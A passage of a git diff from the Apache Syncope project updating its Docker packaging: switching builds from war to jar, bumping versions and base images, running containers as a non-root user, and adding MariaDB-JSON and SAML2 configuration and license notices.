2 Extension API Project. == -This product includes software developed by the Stax 2 Extension API Project. +This product includes software developed by the Woodstox Project. == -This product includes software developed by the Woodstox Project. +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors == diff --git a/docker/core/pom.xml b/docker/core/pom.xml index 57662f51fc5..c9e2ee28752 100644 --- a/docker/core/pom.xml +++ b/docker/core/pom.xml @@ -24,14 +24,14 @@ under the License. org.apache.syncope syncope-docker - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Docker Core Apache Syncope Docker Core org.apache.syncope syncope-docker-core - war + jar ${basedir}/../.. @@ -138,7 +138,7 @@ under the License. com.microsoft.sqlserver mssql-jdbc - ${jdbc.mssql.version}11 + ${jdbc.mssql.version} test @@ -182,7 +182,7 @@ under the License. - + @@ -195,26 +195,6 @@ under the License. - - org.apache.maven.plugins - maven-war-plugin - false - - ${basedir}/../../fit/core-reference/src/main/webapp/WEB-INF/web.xml - - - ${basedir} - META-INF - - LICENSE - NOTICE - - - - ${project.build.outputDirectory}/lib - - - org.springframework.boot spring-boot-maven-plugin @@ -245,10 +225,10 @@ under the License. ${project.build.outputDirectory} - - linux/amd64 - linux/arm64 - + + linux/amd64 + linux/arm64 + diff --git a/docker/core/src/main/resources/Dockerfile b/docker/core/src/main/resources/Dockerfile index 1f7840f390d..e557a773d1e 100644 --- a/docker/core/src/main/resources/Dockerfile +++ b/docker/core/src/main/resources/Dockerfile @@ -15,32 +15,24 @@ # specific language governing permissions and limitations # under the License. -FROM eclipse-temurin:17-focal -MAINTAINER dev@syncope.apache.org +FROM eclipse-temurin:17-jammy +LABEL org.opencontainers.image.authors="dev@syncope.apache.org" -RUN set -x +RUN mkdir /opt/syncope /opt/syncope/bin /opt/syncope/bundles /opt/syncope/conf /opt/syncope/lib /opt/syncope/jpa-json /opt/syncope/log -RUN mkdir /opt/syncope -RUN mkdir /opt/syncope/bin -RUN mkdir /opt/syncope/bundles -RUN mkdir /opt/syncope/conf -RUN mkdir /opt/syncope/lib -RUN mkdir /opt/syncope/jpa-json -RUN mkdir /opt/syncope/log - -COPY *.properties /opt/syncope/conf/ -COPY *.xml /opt/syncope/conf/ -COPY saml.keystore.jks /opt/syncope/conf/ +COPY *.properties *.xml saml.keystore.jks /opt/syncope/conf/ COPY bundles/*.jar /opt/syncope/bundles/ -COPY lib/*.jar /opt/syncope/lib/ + +COPY lib/mariadb*.jar lib/mysql*jar lib/ojdbc*jar lib/postgresql*jar /opt/syncope/lib/ + COPY jpa-json/*.jar /opt/syncope/jpa-json/ -COPY lib/syncope-docker-core-*war /opt/syncope/lib/syncope.war +COPY lib/syncope-docker-core-*jar /opt/syncope/lib/syncope.jar ENV SPRING_PROFILES_ACTIVE=docker ENV LOADER_PATH="/opt/syncope/conf,/opt/syncope/lib" -ENV JAVA_OPTS="-Dfile.encoding=UTF-8 -server -Xms1536m -Xmx1536m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Djava.security.egd=file:/dev/./urandom" +ENV JAVA_OPTS="-Dfile.encoding=UTF-8 -Dsyncope.conf.dir=/opt/syncope/conf -Dsyncope.connid.location=file:/opt/syncope/bundles -server -Xms1536m -Xmx1536m -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC -Djava.security.egd=file:/dev/./urandom" COPY startup.sh /opt/syncope/bin RUN chmod 755 /opt/syncope/bin/startup.sh @@ -48,4 +40,7 @@ CMD ["/opt/syncope/bin/startup.sh"] RUN curl -o /usr/local/bin/wait-for-it https://raw.githubusercontent.com/vishnubob/wait-for-it/master/wait-for-it.sh && chmod 755 /usr/local/bin/wait-for-it +RUN useradd -ms /usr/sbin/nologin syncope && chown -R syncope /opt/syncope +USER syncope + EXPOSE 8080 diff --git a/docker/core/src/main/resources/core-docker.properties b/docker/core/src/main/resources/core-docker.properties index 44fe8dc9b71..cc260667143 100644 --- a/docker/core/src/main/resources/core-docker.properties +++ b/docker/core/src/main/resources/core-docker.properties @@ -25,6 +25,4 @@ security.anonymousKey=${ANONYMOUS_KEY:anonymousKey} persistence.remoteCommitProvider=${OPENJPA_REMOTE_COMMIT} -provisioning.connIdLocation=${connid.location} - logging.config=file:///opt/syncope/conf/log4j2.xml diff --git a/docker/core/src/main/resources/core-majson.properties b/docker/core/src/main/resources/core-majson.properties new file mode 100644 index 00000000000..dd203b62530 --- /dev/null +++ b/docker/core/src/main/resources/core-majson.properties @@ -0,0 +1,33 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +persistence.indexesXML=classpath:majson/indexes.xml +persistence.viewsXML=classpath:majson/views.xml + +persistence.domain[0].key=Master +persistence.domain[0].jdbcDriver=org.mariadb.jdbc.Driver +persistence.domain[0].jdbcURL=${DB_URL} +persistence.domain[0].dbUsername=${DB_USER} +persistence.domain[0].dbPassword=${DB_PASSWORD} +persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.MariaDBDictionary(blobTypeName=LONGBLOB,dateFractionDigits=3) +persistence.domain[0].orm=META-INF/spring-orm-majson.xml +persistence.domain[0].auditSql=audit_majson.sql +persistence.domain[0].poolMaxActive=${DB_POOL_MAX} +persistence.domain[0].poolMinIdle=${DB_POOL_MIN} + +provisioning.quartz.delegate=org.quartz.impl.jdbcjobstore.StdJDBCDelegate +provisioning.quartz.sql=tables_mariadb.sql diff --git a/docker/core/src/main/resources/core-ojson.properties b/docker/core/src/main/resources/core-ojson.properties index 70731922ad5..132b1bfc1d7 100644 --- a/docker/core/src/main/resources/core-ojson.properties +++ b/docker/core/src/main/resources/core-ojson.properties @@ -18,7 +18,7 @@ persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=oracle.jdbc.OracleDriver persistence.domain[0].jdbcURL=${DB_URL} -persistence.domain[0].schema=${DB_SCHEMA} +persistence.domain[0].dbSchema=${DB_SCHEMA} persistence.domain[0].dbUsername=${DB_USER} persistence.domain[0].dbPassword=${DB_PASSWORD} persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.OracleDictionary diff --git a/docker/core/src/main/resources/core-oracle.properties b/docker/core/src/main/resources/core-oracle.properties index 041a4746c08..948059e0d96 100644 --- a/docker/core/src/main/resources/core-oracle.properties +++ b/docker/core/src/main/resources/core-oracle.properties @@ -18,7 +18,7 @@ persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=oracle.jdbc.OracleDriver persistence.domain[0].jdbcURL=${DB_URL} -persistence.domain[0].schema=${DB_SCHEMA} +persistence.domain[0].dbSchema=${DB_SCHEMA} persistence.domain[0].dbUsername=${DB_USER} persistence.domain[0].dbPassword=${DB_PASSWORD} persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.OracleDictionary diff --git a/docker/core/src/main/resources/core-saml2.properties b/docker/core/src/main/resources/core-saml2.properties new file mode 100644 index 00000000000..ddc058a3eab --- /dev/null +++ b/docker/core/src/main/resources/core-saml2.properties @@ -0,0 +1,22 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +saml2.sp4ui.keystore=file://${syncope.conf.dir}/saml.keystore.jks +saml2.sp4ui.keystore.type=jks +saml2.sp4ui.keystore.storepass=changeit +saml2.sp4ui.keystore.keypass=changeit +saml2.sp4ui.maximum-authentication-lifetime=3600 +saml2.sp4ui.accepted-skew=300 diff --git a/docker/core/src/main/resources/core-sqlserver.properties b/docker/core/src/main/resources/core-sqlserver.properties index 91d29096a9e..a7e1704d426 100644 --- a/docker/core/src/main/resources/core-sqlserver.properties +++ b/docker/core/src/main/resources/core-sqlserver.properties @@ -18,7 +18,7 @@ persistence.domain[0].key=Master persistence.domain[0].jdbcDriver=com.microsoft.sqlserver.jdbc.SQLServerDriver persistence.domain[0].jdbcURL=${DB_URL} -persistence.domain[0].schema=${DB_SCHEMA} +persistence.domain[0].dbSchema=${DB_SCHEMA} persistence.domain[0].dbUsername=${DB_USER} persistence.domain[0].dbPassword=${DB_PASSWORD} persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.SQLServerDictionary diff --git a/docker/core/src/main/resources/log4j2.xml b/docker/core/src/main/resources/log4j2.xml index 770fc91c7b8..91ab9b66115 100644 --- a/docker/core/src/main/resources/log4j2.xml +++ b/docker/core/src/main/resources/log4j2.xml @@ -22,7 +22,7 @@ under the License. - + diff --git a/docker/core/src/main/resources/startup.sh b/docker/core/src/main/resources/startup.sh index a853dc5c46b..10a74a3e480 100755 --- a/docker/core/src/main/resources/startup.sh +++ b/docker/core/src/main/resources/startup.sh @@ -17,4 +17,4 @@ # specific language governing permissions and limitations # under the License. -java $JAVA_OPTS -jar /opt/syncope/lib/syncope.war +java $JAVA_OPTS -jar /opt/syncope/lib/syncope.jar diff --git a/docker/enduser/NOTICE b/docker/enduser/NOTICE index a35d819d5ce..a2d8b94450d 100644 --- a/docker/enduser/NOTICE +++ b/docker/enduser/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2023 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). diff --git a/docker/enduser/pom.xml b/docker/enduser/pom.xml index b540c7281a7..899381565f5 100644 --- a/docker/enduser/pom.xml +++ b/docker/enduser/pom.xml @@ -18,37 +18,30 @@ specific language governing permissions and limitations under the License. --> - 4.0.0 - org.apache.syncope syncope-docker - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT - Apache Syncope Docker Enduser Apache Syncope Docker Enduser org.apache.syncope syncope-docker-enduser - war - + jar ${basedir}/../.. - org.springframework.boot spring-boot-starter-undertow - - org.apache.syncope.client.idrepo - syncope-client-idrepo-enduser + org.apache.syncope.client.am + syncope-client-am-enduser ${project.version} - org.apache.syncope.common.keymaster.self syncope-common-keymaster-client-self @@ -59,48 +52,24 @@ under the License. syncope-common-keymaster-client-zookeeper ${project.version} - org.apache.syncope.ext.flowable syncope-ext-flowable-client-enduser ${project.version} - org.apache.syncope.ext.saml2sp4ui syncope-ext-saml2sp4ui-client-enduser ${project.version} - org.apache.syncope.ext.oidcc4ui syncope-ext-oidcc4ui-client-enduser ${project.version} - - - org.apache.maven.plugins - maven-war-plugin - false - - ${basedir}/../../fit/enduser-reference/src/main/webapp/WEB-INF/web.xml - - - ${basedir} - META-INF - - LICENSE - NOTICE - - - - ${project.build.outputDirectory} - - - org.springframework.boot spring-boot-maven-plugin @@ -119,7 +88,6 @@ under the License. - io.fabric8 docker-maven-plugin @@ -158,13 +126,11 @@ under the License. - src/main/resources true - ${project.basedir}/../../client/idrepo/enduser/src/main/resources @@ -174,20 +140,18 @@ under the License. - apache-release - - + org.apache.maven.plugins maven-deploy-plugin true - + org.apache.maven.plugins maven-source-plugin @@ -200,5 +164,4 @@ under the License. - diff --git a/docker/enduser/src/main/resources/Dockerfile b/docker/enduser/src/main/resources/Dockerfile index 8f8ae39332d..47300bf2fa0 100644 --- a/docker/enduser/src/main/resources/Dockerfile +++ b/docker/enduser/src/main/resources/Dockerfile @@ -15,22 +15,14 @@ # specific language governing permissions and limitations # under the License. -FROM eclipse-temurin:17-focal -MAINTAINER dev@syncope.apache.org +FROM eclipse-temurin:17-jammy +LABEL org.opencontainers.image.authors="dev@syncope.apache.org" -RUN set -x +RUN mkdir /opt/syncope /opt/syncope/bin /opt/syncope/conf /opt/syncope/lib /opt/syncope/log -RUN mkdir /opt/syncope -RUN mkdir /opt/syncope/bin -RUN mkdir /opt/syncope/conf -RUN mkdir /opt/syncope/lib -RUN mkdir /opt/syncope/log +COPY *.properties *.json log4j2.xml /opt/syncope/conf/ -COPY *.properties /opt/syncope/conf/ -COPY *.json /opt/syncope/conf/ -COPY log4j2.xml /opt/syncope/conf/ - -COPY syncope-docker-enduser-*war /opt/syncope/lib/syncope-enduser.war +COPY syncope-docker-enduser-*jar /opt/syncope/lib/syncope-enduser.jar ENV SPRING_PROFILES_ACTIVE=docker ENV LOADER_PATH="/opt/syncope/conf,/opt/syncope/lib" @@ -42,4 +34,7 @@ CMD ["/opt/syncope/bin/startup.sh"] RUN curl -o /usr/local/bin/wait-for-it https://raw.githubusercontent.com/vishnubob/wait-for-it/master/wait-for-it.sh && chmod 755 /usr/local/bin/wait-for-it +RUN useradd -ms /usr/sbin/nologin syncope && chown -R syncope /opt/syncope +USER syncope + EXPOSE 8080 diff --git a/docker/enduser/src/main/resources/startup.sh b/docker/enduser/src/main/resources/startup.sh index 9dffc6a604d..b09d451c366 100755 --- a/docker/enduser/src/main/resources/startup.sh +++ b/docker/enduser/src/main/resources/startup.sh @@ -17,4 +17,4 @@ # specific language governing permissions and limitations # under the License. -java $JAVA_OPTS -jar /opt/syncope/lib/syncope-enduser.war +java $JAVA_OPTS -jar /opt/syncope/lib/syncope-enduser.jar diff --git a/docker/pom.xml b/docker/pom.xml index 187bac2ee1c..7a150b11307 100644 --- a/docker/pom.xml +++ b/docker/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Docker @@ -34,10 +34,7 @@ under the License. pom - /opt/syncope/conf /opt/syncope/bundles - file:${bundles.directory}/ - /opt/syncope/log ${basedir}/.. diff --git a/docker/sra/pom.xml b/docker/sra/pom.xml index 33d76e01c86..6b4e186b306 100644 --- a/docker/sra/pom.xml +++ b/docker/sra/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-docker - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Docker SRA diff --git a/docker/sra/src/main/resources/Dockerfile b/docker/sra/src/main/resources/Dockerfile index 566a6c9ca24..bba575edaf9 100644 --- a/docker/sra/src/main/resources/Dockerfile +++ b/docker/sra/src/main/resources/Dockerfile @@ -15,19 +15,12 @@ # specific language governing permissions and limitations # under the License. -FROM eclipse-temurin:17-focal -MAINTAINER dev@syncope.apache.org +FROM eclipse-temurin:17-jammy +LABEL org.opencontainers.image.authors="dev@syncope.apache.org" -RUN set -x +RUN mkdir /opt/syncope /opt/syncope/bin /opt/syncope/conf /opt/syncope/lib /opt/syncope/log -RUN mkdir /opt/syncope -RUN mkdir /opt/syncope/bin -RUN mkdir /opt/syncope/conf -RUN mkdir /opt/syncope/lib -RUN mkdir /opt/syncope/log - -COPY *.properties /opt/syncope/conf/ -COPY log4j2.xml /opt/syncope/conf/ +COPY *.properties log4j2.xml /opt/syncope/conf/ COPY syncope-docker-sra-*jar /opt/syncope/lib/syncope-sra.jar @@ -41,4 +34,7 @@ CMD ["/opt/syncope/bin/startup.sh"] RUN curl -o /usr/local/bin/wait-for-it https://raw.githubusercontent.com/vishnubob/wait-for-it/master/wait-for-it.sh && chmod 755 /usr/local/bin/wait-for-it +RUN useradd -ms /usr/sbin/nologin syncope && chown -R syncope /opt/syncope +USER syncope + EXPOSE 8080 diff --git a/docker/src/main/resources/docker-compose/docker-compose-all.yml b/docker/src/main/resources/docker-compose/docker-compose-all.yml index f8daa397d77..1c823513f22 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-all.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-all.yml @@ -20,15 +20,13 @@ # Zookeeper is configured without JAAS, hence empty KEYMASTER_USERNAME / KEYMASTER_PASSWORD # are passed to other containers -version: '3.3' - services: keymaster: - image: zookeeper:3.8.0 + image: zookeeper:3.9.3 restart: always db: - image: postgres:15 + image: postgres:16 restart: always environment: POSTGRES_DB: syncope @@ -44,7 +42,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,postgresql + SPRING_PROFILES_ACTIVE: docker,postgresql,saml2 DB_URL: jdbc:postgresql://db:5432/syncope?stringtype=unspecified DB_USER: syncope DB_PASSWORD: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-ha.yml b/docker/src/main/resources/docker-compose/docker-compose-ha.yml index a18f1c5ea21..129b1c707a5 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-ha.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-ha.yml @@ -18,11 +18,9 @@ # Full deployment (Core, Console, Enduser) on PostgreSQL, with high-availability set for Core # https://syncope.apache.org/docs/reference-guide.html#high-availability -version: '3.3' - services: db: - image: postgres:15 + image: postgres:16 restart: always environment: POSTGRES_DB: syncope @@ -37,7 +35,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,postgresql + SPRING_PROFILES_ACTIVE: docker,postgresql,saml2 DB_URL: jdbc:postgresql://db:5432/syncope?stringtype=unspecified DB_USER: syncope DB_PASSWORD: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-majson.yml b/docker/src/main/resources/docker-compose/docker-compose-majson.yml new file mode 100644 index 00000000000..6d73433414e --- /dev/null +++ b/docker/src/main/resources/docker-compose/docker-compose-majson.yml @@ -0,0 +1,84 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# Full deployment (Core, Console, Enduser) on MariaDB with JSON_TABLE support + +services: + db: + image: mariadb:11 + restart: always + environment: + MYSQL_ROOT_PASSWORD: password + MYSQL_DATABASE: syncope + MYSQL_USER: syncope + MYSQL_PASSWORD: syncope + + syncope: + depends_on: + - db + command: ["wait-for-it", "db:3306", "-t", "60", "--", "/opt/syncope/bin/startup.sh"] + image: apache/syncope:${SYNCOPE_VERSION} + ports: + - "18080:8080" + restart: always + environment: + SPRING_PROFILES_ACTIVE: docker,majson,saml2 + LOADER_PATH: "/opt/syncope/conf,/opt/syncope/lib,/opt/syncope/jpa-json" + DB_URL: jdbc:mariadb://db:3306/syncope?characterEncoding=UTF-8&relaxAutoCommit=true&useSSL=false + DB_USER: root + DB_PASSWORD: password + DB_POOL_MAX: 20 + DB_POOL_MIN: 5 + OPENJPA_REMOTE_COMMIT: sjvm + KEYMASTER_ADDRESS: http://localhost:8080/syncope/rest/keymaster + KEYMASTER_USERNAME: ${KEYMASTER_USERNAME} + KEYMASTER_PASSWORD: ${KEYMASTER_PASSWORD} + SERVICE_DISCOVERY_ADDRESS: http://syncope:8080/syncope/rest/ + ANONYMOUS_USER: ${ANONYMOUS_USER} + ANONYMOUS_KEY: ${ANONYMOUS_KEY} + + syncope-console: + depends_on: + - syncope + image: apache/syncope-console:${SYNCOPE_VERSION} + ports: + - "28080:8080" + restart: always + environment: + SPRING_PROFILES_ACTIVE: docker + KEYMASTER_ADDRESS: http://syncope:8080/syncope/rest/keymaster + KEYMASTER_USERNAME: ${KEYMASTER_USERNAME} + KEYMASTER_PASSWORD: ${KEYMASTER_PASSWORD} + SERVICE_DISCOVERY_ADDRESS: http://syncope-console:8080/syncope-console/ + ANONYMOUS_USER: ${ANONYMOUS_USER} + ANONYMOUS_KEY: ${ANONYMOUS_KEY} + + syncope-enduser: + depends_on: + - syncope + image: apache/syncope-enduser:${SYNCOPE_VERSION} + ports: + - "38080:8080" + restart: always + environment: + SPRING_PROFILES_ACTIVE: docker + KEYMASTER_ADDRESS: http://syncope:8080/syncope/rest/keymaster + KEYMASTER_USERNAME: ${KEYMASTER_USERNAME} + KEYMASTER_PASSWORD: ${KEYMASTER_PASSWORD} + SERVICE_DISCOVERY_ADDRESS: http://syncope-enduser:8080/syncope-enduser/ + ANONYMOUS_USER: ${ANONYMOUS_USER} + ANONYMOUS_KEY: ${ANONYMOUS_KEY} diff --git a/docker/src/main/resources/docker-compose/docker-compose-mariadb.yml b/docker/src/main/resources/docker-compose/docker-compose-mariadb.yml index faef001f1cf..17447baf60c 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-mariadb.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-mariadb.yml @@ -17,11 +17,9 @@ # Full deployment (Core, Console, Enduser) on MariaDB -version: '3.3' - services: db: - image: mariadb:10 + image: mariadb:11 restart: always environment: MYSQL_ROOT_PASSWORD: password @@ -32,13 +30,14 @@ services: syncope: depends_on: - db + command: ["wait-for-it", "db:3306", "-t", "60", "--", "/opt/syncope/bin/startup.sh"] image: apache/syncope:${SYNCOPE_VERSION} ports: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,mariadb - DB_URL: jdbc:mysql://db:3306/syncope?characterEncoding=UTF-8&relaxAutoCommit=true&useSSL=false + SPRING_PROFILES_ACTIVE: docker,mariadb,saml2 + DB_URL: jdbc:mariadb://db:3306/syncope?characterEncoding=UTF-8&relaxAutoCommit=true&useSSL=false DB_USER: syncope DB_PASSWORD: syncope DB_POOL_MAX: 20 diff --git a/docker/src/main/resources/docker-compose/docker-compose-myjson.yml b/docker/src/main/resources/docker-compose/docker-compose-myjson.yml index 68fb23bf175..b7b597cc37e 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-myjson.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-myjson.yml @@ -17,8 +17,6 @@ # Full deployment (Core, Console, Enduser) on MySQL with JSON_TABLE support -version: '3.3' - services: db: image: mysql/mysql-server:8.0 @@ -38,7 +36,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,myjson + SPRING_PROFILES_ACTIVE: docker,myjson,saml2 LOADER_PATH: "/opt/syncope/conf,/opt/syncope/lib,/opt/syncope/jpa-json" DB_URL: jdbc:mysql://db:3306/syncope?useSSL=false&allowPublicKeyRetrieval=true&characterEncoding=UTF-8 DB_USER: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-mysql.yml b/docker/src/main/resources/docker-compose/docker-compose-mysql.yml index 74a3e04b162..9eb68a9feb8 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-mysql.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-mysql.yml @@ -17,8 +17,6 @@ # Full deployment (Core, Console, Enduser) on MySQL -version: '3.3' - services: db: image: mysql/mysql-server:8.0 @@ -38,7 +36,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,mysql + SPRING_PROFILES_ACTIVE: docker,mysql,saml2 DB_URL: jdbc:mysql://db:3306/syncope?useSSL=false&allowPublicKeyRetrieval=true&characterEncoding=UTF-8 DB_USER: syncope DB_PASSWORD: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-ojson.yml b/docker/src/main/resources/docker-compose/docker-compose-ojson.yml index 10ee95ab4b6..e2256e485b2 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-ojson.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-ojson.yml @@ -17,8 +17,6 @@ # Full deployment (Core, Console, Enduser) on Oracle with JSON support -version: '3.3' - services: db: image: gvenzl/oracle-xe:21-slim @@ -37,7 +35,8 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,ojson + SPRING_PROFILES_ACTIVE: docker,ojson,saml2 + LOADER_PATH: "/opt/syncope/conf,/opt/syncope/lib,/opt/syncope/jpa-json" DB_URL: jdbc:oracle:thin:@db:1521/XEPDB1 DB_SCHEMA: SYNCOPE DB_USER: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-oracle.yml b/docker/src/main/resources/docker-compose/docker-compose-oracle.yml index d88469569ec..7cae51ac0f5 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-oracle.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-oracle.yml @@ -17,8 +17,6 @@ # Full deployment (Core, Console, Enduser) on Oracle -version: '3.3' - services: db: image: gvenzl/oracle-xe:21-slim @@ -37,7 +35,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,oracle + SPRING_PROFILES_ACTIVE: docker,oracle,saml2 DB_URL: jdbc:oracle:thin:@db:1521/XEPDB1 DB_SCHEMA: SYNCOPE DB_USER: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-pgjsonb.yml b/docker/src/main/resources/docker-compose/docker-compose-pgjsonb.yml index c66d9a9953b..e74f5e6c182 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-pgjsonb.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-pgjsonb.yml @@ -17,11 +17,9 @@ # Full deployment (Core, Console, Enduser) on PostgreSQL with JSONB support -version: '3.3' - services: db: - image: postgres:15 + image: postgres:16 restart: always environment: POSTGRES_DB: syncope @@ -36,7 +34,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,pgjsonb + SPRING_PROFILES_ACTIVE: docker,pgjsonb,saml2 LOADER_PATH: "/opt/syncope/conf,/opt/syncope/lib,/opt/syncope/jpa-json" DB_URL: jdbc:postgresql://db:5432/syncope?stringtype=unspecified DB_USER: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-postgresql.yml b/docker/src/main/resources/docker-compose/docker-compose-postgresql.yml index 728bb86f0dc..50636da09b6 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-postgresql.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-postgresql.yml @@ -17,11 +17,9 @@ # Full deployment (Core, Console, Enduser) on PostgreSQL -version: '3.3' - services: db: - image: postgres:15 + image: postgres:16 restart: always environment: POSTGRES_DB: syncope @@ -36,7 +34,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,postgresql + SPRING_PROFILES_ACTIVE: docker,postgresql,saml2 DB_URL: jdbc:postgresql://db:5432/syncope?stringtype=unspecified DB_USER: syncope DB_PASSWORD: syncope diff --git a/docker/src/main/resources/docker-compose/docker-compose-sqlserver.yml b/docker/src/main/resources/docker-compose/docker-compose-sqlserver.yml index 82c37c73d95..2b3bac439e5 100644 --- a/docker/src/main/resources/docker-compose/docker-compose-sqlserver.yml +++ b/docker/src/main/resources/docker-compose/docker-compose-sqlserver.yml @@ -17,8 +17,6 @@ # Full deployment (Core, Console, Enduser) on MS SQL Server -version: '3.3' - services: db: image: mcmoe/mssqldocker:latest @@ -38,7 +36,7 @@ services: - "18080:8080" restart: always environment: - SPRING_PROFILES_ACTIVE: docker,sqlserver + SPRING_PROFILES_ACTIVE: docker,sqlserver,saml2 DB_URL: jdbc:sqlserver://db:1433;databaseName=syncope DB_SCHEMA: dbo DB_USER: syncope diff --git a/docker/wa/LICENSE b/docker/wa/LICENSE index 6dec4fe5fe6..4811ccc022d 100644 --- a/docker/wa/LICENSE +++ b/docker/wa/LICENSE @@ -208,7 +208,7 @@ This is Public Domain. == -For Bootstrap (http://getbootstrap.com/): +For balanced-match (https://github.com/juliangruber/balanced-match): This is licensed under the MIT license: Permission is hereby granted, free of charge, to any person obtaining @@ -232,6 +232,16 @@ This is licensed under the MIT license: == +For base64-js (https://github.com/beatgammit/base64-js): +This is licensed under the MIT license, see above. + +== + +For Bootstrap (http://getbootstrap.com/): +This is licensed under the MIT license, see above. + +== + For bootstrap-select (http://silviomoreto.github.io/bootstrap-select/): This is licensed under the MIT license, see above. @@ -457,6 +467,16 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + +For Gson (https://github.com/google/gson): +This is licensed under the AL 2.0, see above. + +== + For Error Prone (https://errorprone.info/): This is licensed under the AL 2.0, see above. @@ -482,7 +502,62 @@ This is licensed under the AL 2.0, see above. == -For mchange-commons-java (https://github.com/swaldman/mchange-commons-java): +For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): +This is licensed under the MIT license, see above. + +== + +For Microsoft Azure Active Directory Authentication Library (ADAL) for Java (https://github.com/AzureAD/azure-activedirectory-library-for-java): +This is licensed under the MIT license, see above. + +== + +For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): +This is licensed under the AL 2.0, see above. + +== + +For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): +This is licensed under the AL 2.0, see above. + +== + +For Okta Java Management SDK (https://github.com/okta/okta-sdk-java): +This is licensed under the AL 2.0, see above. + +== + +For Moshi (https://square.github.io/moshi/1.x): +This is licensed under the AL 2.0, see above. + +== + +For OkHttp (https://square.github.io/okhttp/): +This is licensed under the AL 2.0, see 